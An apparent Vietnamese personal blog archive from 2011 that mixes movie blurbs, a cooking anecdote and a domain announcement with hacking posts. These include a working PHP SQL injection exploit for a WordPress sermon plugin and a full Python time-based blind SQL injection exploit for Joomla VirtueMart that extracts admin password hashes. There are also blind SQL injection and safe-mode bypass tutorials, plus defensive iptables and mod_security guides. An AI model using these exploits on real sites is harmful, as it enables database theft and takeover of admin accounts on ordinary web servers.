Trang

Thứ Bảy, 30 tháng 4, 2011

Animals United 2011

Release Date : 22/04/2011
A group of animals waiting for the annual flood they rely on for food and water discover that the humans, who have been destroying their habitats have built a dam for a leisure resort. The animals endeavor to save the delta and send a message to the humans not to interfere with nature

Trailer :


Thịt Kho


Mở tủ lạnh , xem có gì không ? ..
À còn thịt..

Thịt kho hay là thịt chiên ?
Mà thôi có biết kho với chiên đâu ....Lựa làm gì...
Bỏ thịt vào nồi.
Soạn gia vị ra ...
Ớt trái,ớt tương, tiêu,mắm,bột knor cá kho =))
Đổ hết vào.Vặn lửa vừa vừa cho nó ngấm gia vị =))
Đổ mắm vào đã...
Hơi mặn...
Thêm đường ...Ngọt thật...
Bỏ gói knor vị cá kho vào =))
Mà màu mè nó tệ quá..
Ớt tương vào luôn......
Thêm vài trái ớt nữa cho nó bắt mắt=))...
10p sau..
Có ngay món thịt kho =))
Mùi vị cực kì lạ =))
Ăn thấy cũng tạm đc,hơi cay =))
Kệ ko sao
Ăn luôn =))
Bảo đảm tối nay thức cỡ 2,3h sáng là mai có mụn ngay =))
Ôi..tài nghệ nấu ăn mình thật là ... =))

Thứ Sáu, 29 tháng 4, 2011

I Am Number Four [2011]





Arthur and the Revenge of Maltazard[2009]

Arthur, một cậu bé con 10 tuổi sống hạnh phúc với bà ở một vùng quê nghèo, cậu cũng như bao đứa trẻ cùng lứa tuổi khác luôn luôn đắm chìm vào những câu truyện cổ tích tuổi thơ. Một ngày nọ, lũ chủ đất đến đòi tịch thu đất đai của hai bà cháu, sợ hãi và thương bà, cậu bé ước mong sao tìm ra thật nhiều kho báu để cứu hai bà cháu. Mong ước của cậu bé một ngày nọ bỗng hóa thành sự thật khi cậu lạc vào một thế giới cổ tích với bộ tộc tí hon Minimoys, cùng với những người bạn mới, cậu phiêu lưu vào một thế giới khác lạ của những người tí hon, chung sống, vui chơi, sát vai đấu tranh chống cái Ác cùng những người bạn mới và trên tất cả, cậu đã tìm được một kho báu cho riêng mình để cứu hai bà cháu trước đám chủ đất hám tiền kia....

Appleseed [2004]


Đạo diễn: Shinji Aramaki
Diễn viên: CAi Kobayashi, Jurota Kosugi, Jennifer Proud...
Nhà sản xuất: Geneon Entertainment
Thể loại: Hoạt hình
Độ dài: 103 phút
Quốc gia: Nhật Bản
Năm sản xuất: 2004

Tên miền tiếng VIệt "Miễn phí" từ ngày 28/04/2011


Từ ngày 28/4/2011, Trung tâm Internet Việt Nam (VNNIC) chính thức triển khai cấp tự do, miễn phí tên miền tiếng Việt có dấu dành cho tất cả các tổ chức, cá nhân có nhu cầu theo nguyên tắc "Đăng ký trước, được quyền sử dụng trước".
Đăng ký tên miền tiếng Việt được các lợi thế:

1. Miễn phí đăng ký, duy trì tên miền.
2. Tên miền đăng ký được pháp luật bảo vệ.
3. Được trỏ (redirect) tới bất kỳ Website nào của mình theo yêu cầu (không bắt buộc phải có tên miền truyền thống .VN đi kèm như giai đoạn trước).
4. Tên miền được tất cả các trình duyệt thông dụng như IE, Firefox, Nestcape, ... hỗ trợ theo chuẩn quốc tế.
5. Thủ tục đăng ký trực tuyến nhanh gọn.
6. Bảo vệ được thương hiệu của mình chính xác theo ngôn ngữ Tiếng Việt trên Internet.
Thông tin chi tiết và thủ tục đăng ký được công bố tại Website http://tênmiềntiếngviệt.vn hoặc http://tenmientiengviet.vn.
*********************************
Tên miền tiếng Việt nói riêng và tên miền tiếng bản địa của các nước nói chung thuộc hệ thống tên miền đa ngữ (IDN) được ICANN công nhận trên tòa cầu, là xu thế phát triển của công nghiệp nội dung Internet trên thế giới.
Tên miền tiếng Việt nằm trong hệ thống tên miền quốc gia Việt Nam ".vn" trong đó các ký tự tạo nên tên miền là các ký tự được quy định trong bảng mã tiếng Việt theo tiêu chuẩn TCVN 6909:2001 và các ký tự nằm trong bảng mã mở rộng của tiếng Việt theo tiêu chuẩn trên. Việc đăng ký, sử dụng tên miền tiếng Việt bổ sung thêm nhiều lựa chọn, thay thế cho địa chỉ Web truyền thống chỉ chấp nhận những ký tự Latin thông thường.
Việc đăng ký, sử dụng tên miền tiếng Việt tạo môi trường thuần Việt trên mạng Internet như đạmphúmỹ.vn, đạihọcbáchkhoahànội.vn, trébàđệ.vn ..., điều này có ý nghĩa quan trọng trong việc hội nhập công nghệ, ứng dụng tài nguyên Internet của Việt Nam với thế giới.




=======================================

Nguyên tắc đăng ký tên miền tiếng Việt:
  •  Tên miền tiếng Việt (TMTV) đăng ký là nghiêm túc, hợp lệ, không có các cụm từ xâm phạm đến lợi ích quốc gia hoặc không phù hợp đạo đức xã hội, thuần phong mỹ tục của dân tộc.- Không đăng ký các tên miền là tên, thương hiệu, nhãn hiệu, sản phẩm, dịch vụ … thuộc quyền sở hữu của các tổ chức, cá nhân khác.- Các thông tin, dữ liệu tên miền sẽ cung cấp khi đăng ký là hợp lệ, không có các cụm từ xâm phạm đến lợi ích quốc gia hoặc không phù hợp đạo đức xã hội, thuần phong mỹ tục của dân tộc.- Chủ thể chịu hoàn toàn trách nhiệm về việc đăng ký, quản lý, sử dụng TMTV và các thông tin đã cung cấp khi đăng ký.
  •  Cá nhân được phép đăng ký tối đa 05 tên miền, tổ chức được phép đăng ký tối đa 100 tên miền.

Thứ Tư, 27 tháng 4, 2011

WordPress SermonBrowser Plugin 0.43 SQL Injection


<?php
 if(!$argv[1])
die("
 
Usage   : php exploit.php [site]
Example : php exploit.php http://site.com/wp/
 
");
print_r("
 
# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz
 
                      -==[ ExPloiT ]==-
                       
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS     : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD     : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
 
                       -==[ Start ]==-
 
");
 
$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
 function text2hex($string) {
 $hex = '';
 $len = strlen($string) ;
 for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
 }
 return $hex;
}
 foreach($t as $r=>$y){
 
$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
 
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
 
echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed !\n";
 }
 
print_r("
                      -==[ Finished ]==-
");
 # By Lagripe-Dz .. !
# END .. !
 ?>

Thứ Ba, 19 tháng 4, 2011

Faster PHP: Profile Your Scripts With Xdebug

Posted Image

Xdebug is a powerful PHP extension that can help you track down bottlenecks in your PHP code. From the Xdebug profiling howto:

The profiler in Xdebug 2 outputs profiling information in the form of a cachegrind compatible file. This allows you to use the excellent KCacheGrind tool (Linux, KDE) to analyse your profiling data. Users of the Windows operating system can use WinCacheGrind.

Shown above is a screenshot of KCacheGrind, which is showing that the particular script is devoting a lot of its time to mysql_query calls. Once you know where your code is chewing up cycles, you’ll have a better idea of where to focus any optimization efforts, either by cleaning up ineffecient code and database queries, or by employing a suitable caching strategy.

Thứ Tư, 13 tháng 4, 2011

Blind SQL Injection Advanced

Public date : 2010/12/24
Dựa theo bài viết của : Kevin Spett




Nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tiếc như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .

Phát hiện lỗi "blind sql injection":

1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5

và câu lệnh SQL được thực hiện sẽ là :

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5

để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:

http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1

và nếu database server thực hiện lệnh

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1

và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .

Khai thác:

Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server

Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :

http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'

( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )

Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.

Hay phải ko các bạn

Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109

Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database

Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện

Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.

Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó

Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )

tiếp theo :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116

Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)

Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)

Tiếp theo:

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111

Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o" Đoán tiếp kí tự thứ 2 ta làm như sau : http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109

(chú ý ta phải đổi đối số từ 1 sang 2 )

và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")


À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :

1. Bảng mã ASCII :

Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:

+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....

+ các mã 48-57 là 10 chữ số

+ các mã 65-90 là các chữ cái hoa A->Z

+ các kí tự 97-122 là các chữ cái thường a->z

+ các mã ASSCII là các kí tự đồ họa

Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình

Thứ Ba, 12 tháng 4, 2011

Tut directadmin bypass view symlink

Public date : 12/04/2011
Người thực hiện : tranthoai


Bypass permission symlink
Link Download
PASS GIẢI NÉN: tranthoai



Tất cả các server của VN nói riêng và nc ngoài nói chung đều dính bug, mình đã thông báo cho directadmin.com và exploit-db.com fix lỗi các admin quản tri server ở vn nên tham khảo và fix bug gấp bug này có thể bypass 400 chmod , bug này exploit lâu rồi hôm nay mình quyết đinh pub cho anh em rồi dẹp nghề local luôn


chú ý là cái này là xài đc cho mọi version còn trên gg chỉ có DirectAdmin <= 1.33.6 Symlink Permission Bypass thôi nhé

Chủ Nhật, 10 tháng 4, 2011

Local Nhân Hòa ( Method By Pass Safe Mode )

Public date : 10/04/2011
Người thực hiện : tranthoai





Code ( php.ini ) :

safe_mode               =       off
allow_url_fopen         =       1
allow_url_include       =       1
disable_functions       =       none


Thêm đoạn sau đây vào (.htaccess) :    suPHP_ConfigPath php.ini

Thứ Bảy, 9 tháng 4, 2011

Joomla JCE Component (com_jce) Blind SQL Injection Vulnerability

===================================================================
joomlacontenteditor (com_jce) BLIND sql injection vulnerability
===================================================================

Software: joomlacontenteditor (com_jce)
Vendor: www.joomlacontenteditor.net
Vuln Type: BLind SQL Injection
Download link: http://www.joomlacontenteditor.net/downloads/editor/joomla15x/category/joomla-15-2 (check here)
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Dork: inurl:"/index.php?option=com_jce"


References: http://eidelweiss-advisories.blogspot.com/2011/04/joomlacontenteditor-comjce-blind-sql.html


===================================================================

Description:

JCE makes creating and editing Joomla!®
content easy Add a set of tools to your Joomla!® environment that give you the power to create the kind of content you want,
without limitations, and without needing to know or learn HTML, XHTML, CSS...

===================================================================

exploit & p0c

[!] index.php?option=com_jce&Itemid=[valid Itemid]

Example p0c

[!] http://host/index.php?option=com_jce&Itemid=8 <= True
[!] http://host/index.php?option=com_jce&Itemid=-8 <= False


====================================================================

Nothing Impossible In This World Even Nobody`s Perfect

Thứ Sáu, 8 tháng 4, 2011

Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit

#!/usr/bin/python
#
# Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit.
# Found by: TecR0c & mr_me
# Discovery date: 11/2/2011
# Code by: mr_me
# Vendor: http://virtuemart.net/
# Download: http://virtuemart.net/downloads
# Dork: inurl:"?option=com_virtuemart" > 46 million results
# Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip
# References:
# - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003)
# - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
#
# "The more you educate yourself the more you understand where things come from the more obvious things become
# and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free."
# - zeitgeist addendum
#
# Description:
# ============
# With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online
# and drive your Business to new Heights. Despite being Open Source Software it powers large
# Online Shops providing the Performance, Usability and Security you expect from professional Software.
#
# Explantation:
# =============
# There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component.
# Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false
# statements. This of course will send an enormous number of queries the target. During testing, 9145
# queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version
# of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the
# timings of benchmark and time to last byte (ttlb).
#
# Tested on Joomla v1.5.22 with virtuemart:
# ==========
# - v1.1.7
# - v1.1.6
# - v1.1.4
#
# [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/
#
#   | ------------------------------------------------------------------- |
#   | Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |
#   | by mr_me - net-ninja.net ------------------------------------------ |
#
# (+) PoC started on Sat Feb 12 17:26:15 2011
# (+) Exploiting target @: http://192.168.1.7/webapps/joomla/
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using time based SQL Injection.
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: joomla
# (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR
# (+) PoC finished on Sat Feb 12 18:38:05 2011
#
 
import sys, urllib, urllib2, re, time
from optparse import OptionParser
 
# just printable ascii please
lower_value = 32
upper_value = 126
 
vuluri = "index.php?option=com_virtuemart&page%3d-1"
basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'}
 
usage = "./%prog [] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"
 
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy ")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server ")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="Directory path to the CMS")
 
(options, args) = parser.parse_args()
 
def banner():
    print "\n\t| ------------------------------------------------------------------- |"
    print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |"
    print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"
 
if len(sys.argv) < 4:
    banner()
    parser.print_help()
    sys.exit(1)
 
def timer():
    now = time.localtime(time.time())
        return time.asctime(now)
 
def testProxy():
    check = 1
    sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
    sys.stdout.flush()
    try:
            req = urllib2.Request("http://www.google.com/")
        req.set_proxy(options.proxy,"http")
        check = urllib2.urlopen(req)
        except:
            check = 0
            pass
        if check != 0:
            sys.stdout.write("proxy is found to be working!\n")
            sys.stdout.flush()
        else:
            print "proxy failed, exiting.."
            sys.exit(1)
     
def getServerResponse(exploit):
    try:
        uri = "http://"+options.target+options.directory+exploit
        request = urllib2.Request(uri)
        if options.proxy:
            request.set_proxy(options.proxy, "http")
         
        start = time.time()
        resp = urllib2.urlopen(request)
        check = resp.read()
        ttlb = time.time() - start
    except urllib.error.HTTPError, error:
            check = error.read()
    except socket.error:
        print "(-) Proxy connection failed"
        sys.exit(1)
    return check, ttlb
 
def getBasicDbInfo(basicInfo, key, limit):
    for i in range(1,limit):
        for j in range(lower_value,upper_value):
            request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
            % (basicInfo[key],str(i),str(j)))
            try:
                resp, ttlb = getServerResponse(request)
            except:
                print "\n(-) Exiting.."
                sys.exit(1)
            if ttlb >= 3.5:
                sys.stdout.write("%s" % (chr(j)))
                sys.stdout.flush()
                break
 
 
def getJosUser(selectStmt, limit):
    for i in range(1,limit):
        for j in range(lower_value,upper_value):
            request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                        % (selectStmt,str(i),str(j)))
            resp, ttlb = getServerResponse(request)
                        if ttlb >= 3.5:
                                sys.stdout.write("%s" % (chr(j)))
                                sys.stdout.flush()
                                break
 
def doBlindSqlInjection():
    print "(+) Using time based SQL Injection."
        print "(+) This will take time, go grab a coffee.."
 
    for key in basicInfo:
        sys.stdout.write("\n(!) Getting database %s: " % (key))
        sys.stdout.flush()
         
        for i in range(1,50):
            request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                    % (basicInfo[key],str(i)))     
            try:
                            resp, ttlb = getServerResponse(request)
                    except:
                            print "\n(-) Exiting.."
                            sys.exit(1)
                    if ttlb >= 3.5:
                            break
 
        getBasicDbInfo(basicInfo, key, i+1)
 
    sys.stdout.write("\n(!) Getting Joomla admin: ")
    sys.stdout.flush()
 
    for i in range(1,100):
        lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
        request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
        % (lengthOfAdminString,str(i)))
        try:
            resp, ttlb = getServerResponse(request)
        except:
            print "\n(-) Exiting.."
            sys.exit(1)
        if ttlb >= 3.5:
            break
     
    getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
    getJosUser(getJosStmt, i+1)
 
if __name__ == "__main__":
    banner()
    print "(+) PoC started on %s" % (timer())
    print "(+) Exploiting target @: http://%s" % (options.target+options.directory)
    if options.proxy:
        testProxy()
    doBlindSqlInjection()  
    print "\n(+) PoC finished on %s" % (timer())

Thứ Tư, 6 tháng 4, 2011

Sử dụng Iptables chống Syn Flood attacks và cấm IP

Syn flood là 1 dạng tấn công từ chối dịch vụ, kẻ tấn công gửi các gói tin kết nối SYN đến hệ thống. Đây là 1 loại tấn công rất phổ biến. Loại tấn công này sẽ nguy hiểm nếu hệ thống cấp phát tài nguyên ngay sau khi nhận gói tin SYN từ kẻ tấn công và trước khi nhận gói ACK.

Nếu việc thiết lập kết nối chưa hòan tất 3 bước đây đủ (gọi là half-open connection) mà buộc hệ thống server phải cấp tài nguyên để quản lý thì kẻ tấn công có thể lấy hết tài nguyên của hệ thống server bằng các "flooding" vào server với các gói tin SYN. Syn flood là 1 dạng tấn công phổ biến và nó có thể được ngăn chặn bằng đoạn lệnh iptables sau:




iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j RETURN
Tất cả các kết nối đến hệ thống chỉ được phép theo các thông số giới hạn sau:
  • --limit 1/s: Tốc độ truyền gói tin trung bình tối đa 1/s (giây)
  • --limit-burst 3: Số lương gói tin khởi tạo tối đa được phép là 3
Dùng iptables, thêm rule sau vào:

Code:
# Limit the number of incoming tcp connections

# Interface 0 incoming syn-flood protection

iptables -N syn_flood

iptables -A INPUT -p tcp --syn -j syn_flood

iptables -A syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN

iptables -A syn_flood -j DROP
  • ‐‐limit rate n
  • ‐‐limit‐burst number m
Giải thích 1 cách dễ hiểu là như thế này "Rule trên giới hạn số kết nối tối đa đến hệ thống là n trên mỗi 1 giây sau khi đã có m kết nối được thiết lập"

Bạn cần điều chỉnh thông số -limit-rate-limit-burst tùy theo yêu cầu và traffic của mạng của bạn.

Giả sử bạn cần giới hạn các kết nối SSH (port 22) không được phép hơn 10 connections trên mỗi 10 phút, rule như sau:

Code:
iptables -I INPUT -p tcp -s 0/0 -d $SERVER_IP --sport 513:65535 --dport 22 -m state --state NEW,ESTABLISHED -m recent --set -j ACCEPT

iptables -I INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP

iptables -A OUTPUT -p tcp -s $SERVER_IP -d 0/0 --sport 22 --dport 513:65

Vậy sau khi đã xác định được IP (ví dụ lấy 1 IP trong LAN 192.168.1.222) tấn công, việc quan trọng vẫn là cách ly các gói tin từ IP (192.168.1.222) để đảm bảo cho hệ thống hoạt động tốt.

# iptables -I INPUT -s 192.168.1.222 -j DROP

 Câu lệnh này sẽ thêm một entry vào file cấu hình IPTable, chỉ dẫn nó bỏ qua bất kì gói tin nào đến từ địa chỉ IP 192.168.1.222. Nếu bạn đang đối mặt với rất nhiều cuộc tấn công, tốt hơn hết bạn nên sử dụng một phương pháp tự động hơn để thêm địa chỉ IP từ danh sách cấm. Để làm việc này, ta tạo đoạn mã sau:
#!/bin/sh
for i in $(< banned_IPs.cfg) ; do
iptables -I INPUT -i eth1 -s "$i" -j DROP
done
Lưu đoạn mã trên vào một file với tên bất kì như banned_IPs.sh và gán cho nó quyền thực thi:
# chmod +x banned_IPs.sh 
Bây giờ tạo một file banned_IPs.cfg và nhập vào danh sách địa chỉ IP bạn muốn khóa, mỗi cái trên một dòng (ví dụ):
192.168.1.222
192.168.1.123
192.168.1.122
Bây giờ chạy file banned_IPs.sh để đưa địa chỉ các địa chỉ IP bạn muốn khóa gửi cho iptables "xử lý"
 # ./banned_IPs.sh

Installation Mod Security on DirectAdmin

Bản này mình hướng dẫn cách cài đặt và config Mod Security trên server đang sử dụng DirectAdmin nhằm phòng chống và đảm bảo một phần an toàn cho server (Hạn chế localatack, hạn chế sql...)




Bước 1. Cài đặt Mod Security
1. cd /usr/local/src
2. mkdir modsecurity2
3. cd modsecurity2
4. wget http://www.modsecurity.org/download/modsecurity-apache_2.5.12.tar.gz
5. perl -pi -e 's/ServerTokens Major/ServerTokens Full/' /etc/httpd/conf/extra/httpd-default.conf
6. perl -pi -e 's/ServerSignature Off/ServerSignature On/' /etc/httpd/conf/extra/httpd-default.conf
7. perl -pi -e 's/ServerSignature EMail/ServerSignature On/' /etc/httpd/conf/extra/httpd-default.conf
8. tar xzf modsecurity-apache_2.5.12.tar.gz
9. cd modsecurity-apache_2.5.12
10. cd apache2
11. ./configure
12. make
13. make test 
14. make install





  Bước 2: Cấu hình rulers



vi /etc/httpd/conf/httpd.conf
A. Tìm phần Load Module, ví dụ:
Include    /etc/httpd/conf/extra/httpd-phpmodules.conf
Thêm vào bên dưới (Dùng cho bản 32bit):
LoadFile /usr/lib/libxml2.so
LoadModule security2_module     /usr/lib/apache/mod_security2.so
 nếu như bạn dùng bản 64bit thì thêm bằng đoạn sau:
LoadFile /usr/lib64/libxml2.so
LoadModule security2_module     /usr/lib/apache/mod_security2.so
 B. Tải rules cho mod security về TẠI ĐÂY, ví dụ mình đặt trong /etc/httpd/conf  Thêm vào dưới cùng file httpd.conf nội dung

# duong dan den file rules cua mod security.
Include /etc/httpd/conf/modsec.v2.rules.conf
 Bước 3: Restart lại dịch vụ httpd
/etc/init.d/httpd restart

Sau khi cài đặt, bạn có thể viết rules riêng cho mod security để chống chạy shell hoặc hạn chế một số method attack!



===End===

Installation Mod Security on Kloxo (CentOS5)

1. Validate the packages by installing the GPG key:
rpm --import http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka
2. Add the following to your '/etc/sysconfig/rhn/sources' file:
yum utterramblings http://www.jasonlitka.com/media/EL5/$ARCH
3. Create new file :
vi /etc/yum.repos.d/utterramblings.repo
... and then paste the following into the editor:
[utterramblings]
name=Jason's Utter Ramblings Repo
baseurl=http://www.jasonlitka.com/media/EL$releasever/$basearch/
enabled=1
gpgcheck=1
gpgkey=http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka
4. Install modsecurity by typing: 
yum install mod_security
5. Restart the Apache webserver:
service httpd restart
All done!
 
 
 
 
 
Note that a default ruleset is included and activated during the installation. If you want to edit the configuration, the following can be useful:

/etc/httpd/conf.d: all files in this directory are loaded during Apache startup.
/etc/httpd/conf.d/mod_security.conf: default configuration loading the mod_security module and the default rule set.
/etc/httpd/modsecurity.d: default rule set.

Thứ Ba, 5 tháng 4, 2011

Đối phó với các cuộc tấn công SQL Injection



Trước khi trao đổi về các biện pháp ngăn chặn, xử lý các cuộc tấn công SQL Injection một cách hiệu quả, chúng ta hãy cùng nhau tìm hiểu rõ khái niệm về SQL Injection.
SQL Injection là gì?

SQL Injection hiểu đơn giản là một kiểu tấn công mà mục tiêu chủ yếu là các website. Trong đó, hacker sẽ “tiêm” các câu truy vấn SQL (Structured Query Language) độc hại vào website. Hậu quả của các cuộc tấn công SQL Injection có thể khiến cho cơ sở dữ liệu (CSDL) của các website bị thay đổi, bị xóa hoặc bị đánh cắp. Nguy hiểm hơn, hacker có thể lợi dụng lỗ hổng SQL Injection để chiếm quyền kiểm soát của toàn bộ máy chủ.
Để hiểu rõ hơn về SQL Injection, chúng ta cùng xem một ví dụ minh họa sau đây.
Khi người sử dụng truy cập vào một website tin tức và bấm vào một tin có mã số là 1 thì đường dẫn gửi tới máy chủ web sẽ có nội dung như sau:



Khi đó, để cung cấp nội dung tin số 1 trả về cho người sử dụng, website sẽ truy vấn tới cơ sở dữ liệu để lấy tin. Câu truy vấn SQL do người lập trình viết sẽ có cấu trúc như sau:
SELECT * FROM News WHERE NewsId = " + N_ID + "
Trong trường hợp này với yêu cầu lấy tin số 1 thì biến N_ID = 1. Kết quả là câu truy vấn SQL thật tới CSDL sẽ là: SELECT * FROM News WHERE NewsId = 1
Do sơ xuất của lập trình viên trong khi lập trình, không kiểm tra tính hợp lệ của N_ID trước khi thực thi câu truy vấn SQL, hacker có thể lợi dụng để chèn các câu truy vấn nguy hiểm tới CSDL.



Chúng ta có thể thấy phần bội đậm trong hình minh họa trên là một câu truy vấn độc hại do hacker chèn vào. Câu truy vấn này cũng sẽ được thực thi cùng với câu truy vấn của người lập trình viết và sẽ khiến thông tin trong CSDL bị xóa.

SELECT * FROM News WHERE NewsId = 1; DELETE FROM NEWS WHERE NewsId=2

Dưới đây sẽ là các sơ đồ kết nối trong ví dụ ở trên:

Minh họa cho một truy vấn thông thường tới website.


Minh họa cho hệ thống tồn tại lỗ hổng SQL Injection.


Minh họa cho hệ thống không tồn tại lỗ hổng SQL Injection.

Như vậy có thể thấy, lỗi SQL Injection xảy ra khi website không được lập trình tốt hoặc cấu hình máy chủ tốt. Vì vậy, hệ thống không kiểm soát được chặt chẽ các tham số đầu vào cho các câu truy vấn SQL, dẫn đến bị hacker lợi dụng để chèn vào các câu truy vấn nguy hiểm đối với CSDL.

Tấn công SQL Injection vào các website đang là hình thức tấn công rất phổ biến trên thế giới hiện nay.

Phòng chống SQL Injection

Các biện pháp phòng chống tấn công SQL Injection cho website phụ thuộc rất nhiều vào nền tảng (platform) xây dựng web. Ví dụ, website của bạn được xây dựng trên platform nào (Joomla, Wordpress hay DotNetNuke …) và sử dụng ngôn ngữ lập trình gì (ASP, PHP, .Net hay Java …). Website đó đang chạy trên Web Server (IIS, Apache…) nào, hệ quản trị CSDL của website là gì (Oracle, MySQL…)?

Dưới đây là một số quy tắc chung trong việc phòng chống SQL Injection:

